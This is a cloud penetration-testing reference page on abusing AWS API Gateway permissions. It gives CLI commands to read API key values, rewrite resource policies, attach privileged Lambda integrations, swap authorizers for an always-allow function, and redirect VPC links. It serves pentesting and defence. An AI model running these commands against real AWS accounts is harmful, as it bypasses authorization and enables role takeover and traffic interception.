# AWS - Apigateway Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Apigateway

For more information check:

{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}

### `apigateway:POST`

With this permission you can generate API keys of the APIs configured (per region).

```bash
aws --region <region> apigateway create-api-key
```

**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info.

### `apigateway:GET`

With this permission you can get generated API keys of the APIs configured (per region).

```bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
```

**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info.

### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`

With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda).

```bash
aws apigateway update-rest-api \
    --rest-api-id api-id \
    --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```

**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info.

### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`

> [!NOTE]
> Need testing

An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**.

```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```

**Potential Impact**: Access to resources associated with the Lambda function's IAM role.

### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`

> [!NOTE]
> Need testing

An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks (e.g. repoint it to a Lambda that always returns "allow") or to execute arbitrary code when API requests are made.

```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```

**Potential Impact**: Bypassing security checks, unauthorized access to API resources.

#### HTTP APIs / `apigatewayv2` variant

For HTTP APIs (API Gateway v2), the equivalent operation is updating the authorizer via `apigatewayv2`:

```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```

### `apigateway:UpdateVpcLink`

> [!NOTE]
> Need testing

An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**.

```bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
```

**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic.

{{#include ../../../../banners/hacktricks-training.md}}



